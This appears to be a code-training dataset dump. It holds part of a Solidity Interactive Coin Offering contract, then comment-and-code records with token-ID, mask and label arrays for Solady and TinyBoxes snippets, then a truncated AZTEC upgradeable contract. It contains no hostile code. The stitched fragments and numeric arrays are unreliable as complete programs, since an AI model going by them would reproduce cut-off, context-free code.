between when the TX got signed and executed, but giving the search starting point greatly lowers gas consumption. * -Automatic withdrawals are only possible at the end of the sale. This decreases code complexity and possible interactions between different parts of the code. * -We put a full bonus, free withdrawal period at the beginning. This allows everyone to have a chance to place bids with full bonus and avoids clogging the network just after the sale starts. Note that at this moment, no information can be taken for granted as parties can withdraw freely. * -Calling the fallback function while sending ETH places a bid with an infinite maximum valuation. This allows buyers who want to buy no matter the price not need to use a specific interface and just send ETH. Without ETH, a call to the fallback function redeems the bids of the caller. */ contract IICO { /* *** General *** */ address public owner; // The one setting up the contract. address public beneficiary; // The address which will get the funds. /* *** Bid *** */ uint constant HEAD = 0; // Minimum value used for both the maxValuation and bidID of the head of the linked list. uint constant TAIL = uint(-1); // Maximum value used for both the maxValuation and bidID of the tail of the linked list. uint constant INFINITY = uint(-2); // A value so high that a bid using it is guaranteed to succeed. Still lower than TAIL to be placed before TAIL. // A bid to buy tokens as long as the personal maximum valuation is not exceeded. // Bids are in a sorted doubly linked list. // They are sorted in ascending order by (maxValuation,bidID) where bidID is the ID and key of the bid in the mapping. // The list contains two artificial bids HEAD and TAIL having respectively the minimum and maximum bidID and maxValuation. struct Bid { /* *** Linked List Members *** */ uint prev; // bidID of the previous element. uint next; // bidID of the next element. /* *** Bid Members *** */ uint maxValuation; // Maximum valuation in wei beyond which the contributor prefers refund. uint contrib; // Contribution in wei. uint bonus; // The numerator of the bonus that will be divided by BONUS_DIVISOR. address contributor; // The contributor who placed the bid. bool withdrawn; // True if the bid has been withdrawn. bool redeemed; // True if the ETH or tokens have been redeemed. } mapping (uint => Bid) public bids; // Map bidID to bid. mapping (address => uint[]) public contributorBidIDs; // Map contributor to a list of its bid ID. uint public lastBidID = 0; // The last bidID not accounting TAIL. /* *** Sale parameters *** */ uint public startTime; // When the sale starts. uint public endFullBonusTime; // When the full bonus period ends. uint public withdrawalLockTime; // When the contributors can't withdraw their bids manually anymore. uint public endTime; // When the sale ends. ERC20 public token; // The token which is sold. uint public tokensForSale; // The amount of tokens which will be sold. uint public maxBonus; // The maximum bonus. Will be normalized by BONUS_DIVISOR. For example for a 20% bonus, _maxBonus must be 0.2 * BONUS_DIVISOR. uint constant BONUS_DIVISOR = 1E9; // The quantity we need to divide by to normalize the bonus. /* *** Finalization variables *** */ bool public finalized; // True when the cutting bid has been found. The following variables are final only after finalized==true. uint public cutOffBidID = TAIL; // The first accepted bid. All bids after it are accepted. uint public sumAcceptedContrib; // The sum of accepted contributions. uint public sumAcceptedVirtualContrib; // The sum of virtual (taking into account bonuses) contributions. /* *** Events *** */ event BidSubmitted(address indexed contributor, uint indexed bidID, uint indexed time); /* *** Modifiers *** */ modifier onlyOwner{ require(owner == msg.sender); _; } /* *** Functions Modifying the state *** */ /** @dev Constructor. First contract set up (tokens will also need to be transferred to the contract and then setToken needs to be called to finish the setup). * @param _startTime Time the sale will start in seconds since the Unix Epoch. * @param _fullBonusLength Amount of seconds the sale lasts in the full bonus period. * @param _partialWithdrawalLength Amount of seconds the sale lasts in the partial withdrawal period. * @param _withdrawalLockUpLength Amount of seconds the sale lasts in the withdrawal lockup period. * @param _maxBonus The maximum bonus. Will be normalized by BONUS_DIVISOR. For example for a 20% bonus, _maxBonus must be 0.2 * BONUS_DIVISOR. * @param _beneficiary The party which will get the funds of the token sale. */ function IICO(uint _startTime, uint _fullBonusLength, uint _partialWithdrawalLength, uint _withdrawalLockUpLength, uint _maxBonus, address _beneficiary) public { owner = msg.sender; startTime = _startTime; endFullBonusTime = startTime + _fullBonusLength; withdrawalLockTime = endFullBonusTime + _partialWithdrawalLength; endTime = withdrawalLockTime + _withdrawalLockUpLength; maxBonus = _maxBonus; beneficiary = _beneficiary; // Add the virtual bids. This simplifies other functions. bids[HEAD] = Bid({ prev: TAIL, next: TAIL, maxValuation: HEAD, contrib: 0, bonus: 0, contributor: address(0), withdrawn: false, redeemed: false }); bids[TAIL] = Bid({ prev: HEAD, next: HEAD, maxValuation: TAIL, contrib: 0, bonus: 0, contributor: address(0), withdrawn: false, redeemed: false }); } /** @dev Set the token. Must only be called after the IICO contract receives the tokens to be sold. * @param _token The token to be sold. */ function setToken(ERC20 _token) public onlyOwner { require(address(token) == address(0)); // Make sure the token is not already set. token = _token; tokensForSale = token.balanceOf(this); } /** @dev Submit a bid. The caller must give the exact position the bid must be inserted into in the list. * In practice, use searchAndBid to avoid the position being incorrect due to a new bid being inserted and changing the position the bid must be inserted at. * @param _maxValuation The maximum valuation given by the contributor. If the amount raised is higher, the bid is cancelled and the contributor refunded because it prefers a refund instead of this level of dilution. To buy no matter what, use INFINITY. * @param _next The bidID of the next bid in the list. */ function submitBid(uint _maxValuation, uint _next) public payable { Bid storage nextBid = bids[_next]; uint prev = nextBid.prev; Bid storage prevBid = bids[prev]; require(_maxValuation >= prevBid.maxValuation && _maxValuation < nextBid.maxValuation); // The new bid maxValuation is higher than the previous one and strictly lower than the next one. require(now >= startTime && now < endTime); // Check that the bids are still open. ++lastBidID; // Increment the lastBidID. It will be the new bid's ID. // Update the pointers of neighboring bids. prevBid.next = lastBidID; nextBid.prev = lastBidID; // Insert the bid. bids[lastBidID] = Bid({ prev: prev, next: _next, maxValuation: _maxValuation, contrib: msg.value, bonus: bonus(), contributor: msg.sender, withdrawn: false, redeemed: false }); // Add the bid to the list of bids by this contributor. contributorBidIDs[msg.sender].push(lastBidID); // Emit event emit BidSubmitted(msg.sender, lastBidID, now); } /** @dev Search for the correct insertion spot and submit a bid. * This function is O(n), where n is the amount of bids between the initial search position and the insertion position. * The UI must first call search to find the best point to start the search such that it consumes the least amount of gas possible. * Using this function instead of calling submitBid directly prevents it from failing in the case where new bids are added before the transaction is executed. * @param _maxValuation The maximum valuation given by the contributor. If the amount raised is higher, the bid is cancelled and the contributor refunded because it prefers a refund instead of this level of dilution. To buy no matter what, use INFINITY. * @param _next The bidID of the next bid in the list. */ function searchAndBid(uint _maxValuation, uint _next) public payable { submitBid(_maxValuation, search(_maxValuation,_next)); } /** @dev Withdraw a bid. Can only be called before the end of the withdrawal lock period. * Withdrawing a bid reduces its bonus by 1/3. * For retrieving ETH after an automatic withdrawal, use the redeem function. * @param _bidID The ID of the bid to withdraw. */ function withdraw(uint _bidID) public { Bid storage bid = bids[_bidID]; require(msg.sender == bid.contributor); require(now < withdrawalLockTime); require(!bid.withdrawn); bid.withdrawn = true; // Before endFullBonusTime, everything is refunded. Otherwise, an amount decreasing linearly from endFullBonusTime to withdrawalLockTime is refunded. uint refund = (now < endFullBonusTime) ? bid.contrib : (bid.contrib * (withdrawalLockTime - now)) / (withdrawalLockTime - endFullBonusTime); assert(refund <= bid.contrib); // Make sure that we don't refund more than the contribution. Would a bug arise, we prefer blocking withdrawal than letting someone steal money. bid.contrib -= refund; bid.bonus = (bid.bonus * 2) / 3; // Reduce the bonus by 1/3. msg.sender.transfer(refund); } /** @dev Finalize by finding the cut-off bid. * Since the amount of bids is not bounded, this function may have to be called multiple times. * The function is O(min(n,_maxIt)) where n is the amount of bids. In total it will perform O(n) computations, possibly in multiple calls. * Each call only has a O(1) storage write operations. * @param _maxIt The maximum amount of bids to go through. This value must be set in order to not exceed the gas limit. */ function finalize(uint _maxIt) public { require(now >= endTime); require(!finalized); // Make local copies of the finalization variables in order to avoid modifying storage in order to save gas. uint localCutOffBidID = cutOffBidID; uint localSumAcceptedContrib = sumAcceptedContrib; uint localSumAcceptedVirtualContrib = sumAcceptedVirtualContrib; // Search for the cut-off bid while adding the contributions. for (uint it = 0; it < _maxIt && !finalized; ++it) { Bid storage bid = bids[localCutOffBidID]; if (bid.contrib+localSumAcceptedContrib < bid.maxValuation) { // We haven't found the cut-off yet. localSumAcceptedContrib += bid.contrib; localSumAcceptedVirtualContrib += bid.contrib + (bid.contrib * bid.bonus) / BONUS_DIVISOR; localCutOffBidID = bid.prev; // Go to the previous bid. } else { // We found the cut-off. This bid will be taken partially. finalized = true; uint contribCutOff = bid.maxValuation >= localSumAcceptedContrib ? bid.maxValuation - localSumAcceptedContrib : 0; // The amount of the contribution of the cut-off bid that can stay in the sale without spilling over the maxValuation. contribCutOff = contribCutOff < bid.contrib ? contribCutOff : bid.contrib; // The amount that stays in the sale should not be more than the original contribution. This line is not required but it is added as an extra security measure. bid.contributor.send(bid.contrib-contribCutOff); // Send the non-accepted part. Use send in order to not block if the contributor's fallback reverts. bid.contrib = contribCutOff; // Update the contribution value. localSumAcceptedContrib += bid.contrib; localSumAcceptedVirtualContrib += bid.contrib + (bid.contrib * bid.bonus) / BONUS_DIVISOR; beneficiary.send(localSumAcceptedContrib); // Use send in order to not block if the beneficiary's fallback reverts. } } // Update storage. cutOffBidID = localCutOffBidID; sumAcceptedContrib = localSumAcceptedContrib; sumAcceptedVirtualContrib = localSumAcceptedVirtualContrib; } /** @dev Redeem a bid. If the bid is accepted, send the tokens, otherwise refund the ETH. * Note that anyone can call this function, not only the party which made the bid. * @param _bidID ID of the bid to withdraw. */ function redeem(uint _bidID) public { Bid storage bid = bids[_bidID]; Bid storage cutOffBid = bids[cutOffBidID]; require(finalized); require(!bid.redeemed); bid.redeemed=true; if (bid.maxValuation > cutOffBid.maxValuation || (bid.maxValuation == cutOffBid.maxValuation && _bidID >= cutOffBidID)) // Give tokens if the bid is accepted. require(token.transfer(bid.contributor, (tokensForSale * (bid.contrib + (bid.contrib * bid.bonus) / BONUS_DIVISOR)) / sumAcceptedVirtualContrib)); else // Reimburse ETH otherwise. bid.contributor.transfer(bid.contrib); } /** @dev Fallback. Make a bid if ETH are sent. Redeem all the bids of the contributor otherwise. * Note that the contributor could make this function go out of gas if it has too much bids. This in not a problem as it is still possible to redeem using the redeem function directly. * This allows users to bid and get their tokens back using only send operations. */ function () public payable { if (msg.value != 0 && now >= startTime && now < endTime) // Make a bid with an infinite maxValuation if some ETH was sent. submitBid(INFINITY, TAIL); else if (msg.value == 0 && finalized) // Else, redeem all the non redeemed bids if no ETH was sent. for (uint i = 0; i < contributorBidIDs[msg.sender].length; ++i) { if (!bids[contributorBidIDs[msg.sender][i]].redeemed) redeem(contributorBidIDs[msg.sender][i]); } else // Otherwise, no actions are possible. revert(); } /* *** View Functions *** */ /** @dev Search for the correct insertion spot of a bid. * This function is O(n), where n is the amount of bids between the initial search position and the insertion position. * @param _maxValuation The maximum valuation given by the contributor. Or INFINITY if no maximum valuation is given. * @param _nextStart The bidID of the next bid from the initial position to start the search from. * @return nextInsert The bidID of the next bid from the position the bid must be inserted at. */ function search(uint _maxValuation, uint _nextStart) view public returns(uint nextInsert) { uint next = _nextStart; bool found; while(!found) { // While we aren't at the insertion point. Bid storage nextBid = bids[next]; uint prev = nextBid.prev; Bid storage prevBid = bids[prev]; if (_maxValuation < prevBid.maxValuation) // It should be inserted before. next = prev; else if (_maxValuation >= nextBid.maxValuation) // It should be inserted after. The second value we sort by is bidID. Those are increasing, thus if the next bid is of the same maxValuation, we should insert after it. next = nextBid.next; else // We found the insertion point. found = true; } return next; } /** @dev Return the current bonus. The bonus only changes in 1/BONUS_DIVISOR increments. * @return b The bonus expressed in 1/BONUS_DIVISOR. Will be normalized by BONUS_DIVISOR. For example for a 20% bonus, _maxBonus must be 0.2 * BONUS_DIVISOR. */ function bonus() public view returns(uint b) { if (now < endFullBonusTime) // Full bonus. return maxBonus; else if (now > endTime) // Assume no bonus after end. return 0; else // Compute the bonus decreasing linearly from endFullBonusTime to endTime. return (maxBonus * (endTime - now)) / (endTime - endFullBonusTime); } /** @dev Get the total contribution of an address. * This can be used for a KYC threshold. * This function is O(n) where n is the amount of bids made by the contributor. * This means that the contributor can make totalContrib(contributor) revert due to an out of gas error on purpose. * @param _contributor The contributor whose contribution will be returned. * @return contribution The total contribution of the contributor. */ function totalContrib(address _contributor) public view returns (uint contribution) { for (uint i = 0; i < contributorBidIDs[_contributor].length; ++i) contribution += bids[contributorBidIDs[_contributor][i]].contrib; } /* *** Interface Views *** */ /** @dev Get the current valuation and cut off bid's details. * This function is O(n), where n is the amount of bids. This could exceed the gas limit, therefore this function should only be used for interface display and not by other contracts. * @return The current valuation and cut off bid's details. */ function valuationAndCutOff() public view returns (uint valuation, uint virtualValuation, uint currentCutOffBidID, uint currentCutOffBidmaxValuation, uint currentCutOffBidContrib) { currentCutOffBidID = bids[TAIL].prev; // Loop over all bids or until cut off bid is found while (currentCutOffBidID != HEAD) { Bid storage bid = bids[currentCutOffBidID]; if (bid.contrib + valuation < bid.maxValuation) { // We haven't found the cut-off yet. valuation += bid.contrib; virtualValuation += bid.contrib + (bid.contrib * bid.bonus) / BONUS_DIVISOR; currentCutOffBidID = bid.prev; // Go to the previous bid. } else { // We found the cut-off bid. This bid will be taken partially. currentCutOffBidContrib = bid.maxValuation >= valuation ? bid.maxValuation - valuation : 0; // The amount of the contribution of the cut-off bid that can stay in the sale without spilling over the maxValuation. valuation += currentCutOffBidContrib; virtualValuation += currentCutOffBidContrib + (currentCutOffBidContrib * bid.bonus) / BONUS_DIVISOR; break; } } currentCutOffBidmaxValuation = bids[currentCutOffBidID].maxValuation; } } /** @title Level Whitelisted Interactive Coin Offering * This contract implements an Interactive Coin Offering with two whitelists: * - The base one, with limited contribution. * - The reinforced one, with unlimited contribution. */ contract LevelWhitelistedIICO is IICO { uint public maximumBaseContribution; mapping (address => bool) public baseWhitelist; // True if in the base whitelist (has a contribution limit). mapping (address => bool) public reinforcedWhitelist; // True if in the reinforced whitelist (does not have a contribution limit). address public whitelister; // The party which can add or remove people from the whitelist. modifier onlyWhitelister{ require(whitelister == msg.sender); _; } /** @dev Constructor. First contract set up (tokens will also need to be transferred to the contract and then setToken needs to be called to finish the setup). * @param _startTime Time the sale will start in seconds since the Unix Epoch. * @param _fullBonusLength Amount of seconds the sale lasts in the full bonus period. * @param _partialWithdrawalLength Amount of seconds the sale lasts in the partial withdrawal period. * @param _withdrawalLockUpLength Amount of seconds the sale lasts in the withdrawal lockup period. * @param _maxBonus The maximum bonus. Will be normalized by BONUS_DIVISOR. For example for a 20% bonus, _maxBonus must be 0.2 * BONUS_DIVISOR. * @param _beneficiary The party which will get the funds of the token sale. * @param _maximumBaseContribution The maximum contribution for buyers on the base list. */ function LevelWhitelistedIICO(uint _startTime, uint _fullBonusLength, uint _partialWithdrawalLength, uint _withdrawalLockUpLength, uint _maxBonus, address _beneficiary, uint _maximumBaseContribution) IICO(_startTime,_fullBonusLength,_partialWithdrawalLength,_withdrawalLockUpLength,_maxBonus,_beneficiary) public { maximumBaseContribution=_maximumBaseContribution; } /** @dev Submit a bid. The caller must give the exact position the bid must be inserted into in the list. * In practice, use searchAndBid to avoid the position being incorrect due to a new bid being inserted and changing the position the bid must be inserted at. * @param _maxValuation The maximum valuation given by the contributor. If the amount raised is higher, the bid is cancelled and the contributor refunded because it prefers a refund instead of this level of dilution. To buy no matter what, use INFINITY. * @param _next The bidID of the next bid in the list. */ function submitBid(uint _maxValuation, uint _next) public payable { require(reinforcedWhitelist[msg.sender] || (baseWhitelist[msg.sender] && (msg.value + totalContrib(msg.sender) <= maximumBaseContribution))); // Check if the buyer is in the reinforced whitelist or if it is on the base one and this would not make its total contribution exceed the limit. super.submitBid(_maxValuation,_next); } /** @dev Set the whitelister. * @param _whitelister The whitelister. */ function setWhitelister(address _whitelister) public onlyOwner { whitelister=_whitelister; } /** @dev Add buyers to the base whitelist. * @param _buyersToWhitelist Buyers to add to the whitelist. */ function addBaseWhitelist(address[] _buyersToWhitelist) public onlyWhitelister { for(uint i=0;i<_buyersToWhitelist.length;++i) baseWhitelist[_buyersToWhitelist[i]]=true; } /** @dev Add buyers to the reinforced whitelist. * @param _buyersToWhitelist Buyers to add to the whitelist. */ function addReinforcedWhitelist(address[] _buyersToWhitelist) public onlyWhitelister { for(uint i=0;i<_buyersToWhitelist.length;++i) reinforcedWhitelist[_buyersToWhitelist[i]]=true; } /** @dev Remove buyers from the base whitelist. * @param _buyersToRemove Buyers to remove from the whitelist. */ function removeBaseWhitelist(address[] _buyersToRemove) public onlyWhitelister { for(uint i=0;i<_buyersToRemove.length;++i) baseWhitelist[_buyersToRemove[i]]=false; } /** @dev Remove buyers from the reinforced whitelist. * @param _buyersToRemove Buyers to remove from the whitelist. */ function removeReinforcedWhitelist(address[] _buyersToRemove) public onlyWhitelister { for(uint i=0;i<_buyersToRemove.length;++i) reinforcedWhitelist[_buyersToRemove[i]]=false; } }
When the sale ends.
uint public endTime;
127,089
[ 1, 9434, 326, 272, 5349, 3930, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 1071, 13859, 31, 7682, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x6a2Df7Fd15612079D1a72001F3a921Db792B2738/sources/lib/solady/src/utils/DateTimeLib.sol
@dev Adds `numHours` to the unix timestamp, and returns the result.
function addHours(uint256 timestamp, uint256 numHours) internal pure returns (uint256 result) { result = timestamp + numHours * 3600; }
17,179,013
[ 1, 3655, 1375, 2107, 14910, 68, 358, 326, 9753, 2858, 16, 471, 1135, 326, 563, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 14910, 12, 11890, 5034, 2858, 16, 2254, 5034, 818, 14910, 13, 2713, 16618, 1135, 261, 11890, 5034, 563, 13, 288, 203, 3639, 563, 273, 2858, 397, 818, 14910, 380, 12396, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0xCd5226c8d441B17AC5848Af2B4d51B51830A2237/sources/browser/TinyBoxesFlattened.sol
animation duration default
uint8 duration;
694,746
[ 1, 30822, 3734, 805, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 28, 3734, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.5.0 <0.6.0; import "@openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../../../interfaces/IZkAsset.sol"; import "../../../ACE/ACE.sol" as ACEModule; import "../../../libs/NoteUtils.sol"; import "../../../libs/LibEIP712.sol"; import "../../../interfaces/IAZTEC.sol"; import "../../../interfaces/IERC20Mintable.sol"; import "../../GSNRecipientTimestampSignature.sol"; /** * @title Behaviour20200106 implementation * @author AZTEC * Note the behaviour contract version naming convention is based on the date on which the contract * was created, in the format: YYYYMMDD * * Copyright 2020 Spilsbury Holdings Ltd * * Licensed under the GNU Lesser General Public Licence, Version 3.0 (the "License"); * you may not use this file except in compliance with the License. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. **/ contract Behaviour20200106 is GSNRecipientTimestampSignature, IAZTEC, LibEIP712 { using NoteUtils for bytes; /** * @dev epoch number, used for version control in upgradeability. The naming convention is based on the * date on which the contract was created, in the format: YYYYMMDD */ uint256 public epoch = 20200106; mapping(address => bytes) public accountMapping; mapping(address => address) public userToAZTECAccountMapping; mapping(bytes32 => bool) public signatureLog; struct AZTECAccount { address account; bytes linkedPublicKey; address AZTECaddress; } string private constant EIP712_DOMAIN = "EIP712Domain(string name,string version,address verifyingContract)"; string private constant SIGNATURE_TYPE = "AZTECAccount(address account,bytes linkedPublicKey,address AZTECaddress)"; bytes32 private constant EIP712_DOMAIN_TYPEHASH = keccak256(abi.encodePacked(EIP712_DOMAIN)); bytes32 private constant SIGNATURE_TYPEHASH = keccak256(abi.encodePacked(SIGNATURE_TYPE)); event Addresses(address accountAddress, address signerAddress); event RegisterExtension( address indexed account, bytes linkedPublicKey, bytes spendingPublicKey ); event GSNTransactionProcessed(bytes32 indexed signatureHash, bool indexed success, uint actualCharge); ACEModule.ACE ace; /** * @dev Initialize the contract and set up it's state. An initialize function rather than a constructor * is used to make this compatible with the upgradeability pattern * @param _aceAddress - address of the AZTEC Cryptography Engine * @param _trustedGSNSignerAddress - address which will produce signature to approve relayed GSN calls */ function initialize(address _aceAddress, address _trustedGSNSignerAddress) initializer public { ace = ACEModule.ACE(_aceAddress); GSNRecipientTimestampSignature.initialize(_trustedGSNSignerAddress); } /** * @dev Calculates the EIP712 encoding for a hash struct in this EIP712 Domain. * @param _AZTECAccount - struct containing an Ethereum address and the linkedPublicKey * @return EIP712 hash applied to this EIP712 Domain. **/ function hashAZTECAccount(AZTECAccount memory _AZTECAccount) internal view returns (bytes32) { bytes32 DOMAIN_SEPARATOR = keccak256(abi.encode( 